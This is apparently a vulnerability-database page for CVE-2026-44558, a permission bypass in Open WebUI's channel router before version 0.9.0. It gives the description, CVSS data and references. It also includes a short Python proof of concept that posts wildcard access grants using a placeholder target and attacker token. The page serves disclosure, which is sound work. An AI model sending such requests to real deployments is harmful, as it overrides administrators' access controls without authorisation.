CVE-2026-44558

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the channel router does not call filter_allowed_access_grants on either create or update paths. A non-admin user who can create group channels (or who owns a channel) can submit arbitrary access grants — including public wildcard grants — and those grants are stored verbatim, bypassing the admin's permission framework. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (example)
target_url = "http://target-open-webui-instance/api/channels"

# Attacker's session cookie (non-admin user)
cookies = {
    "access_token": "ATTACKER_SESSION_TOKEN"
}

# Malicious payload exploiting the missing filter_allowed_access_grants
# Attempting to grant public access using a wildcard
payload = {
    "name": "Malicious Channel",
    "access_grants": ["*"]  # Bypassing permission check
}

response = requests.post(target_url, json=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] PoC successful: Channel created with wildcard access grants.")
else:
    print("[-] PoC failed:", response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44558
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44558
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44558/
[4] VulDB https://vuldb.com/cve/CVE-2026-44558
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-7rjh-px4v-5w55

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44558", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:47.350", "lastModified": "2026-05-15T20:16:47.350", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the channel router does not call filter_allowed_access_grants on either create or update paths. A non-admin user who can create group channels (or who owns a channel) can submit arbitrary access grants — including public wildcard grants — and those grants are stored verbatim, bypassing the admin's permission framework. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7rjh-px4v-5w55", "source": "[email protected]"}]}}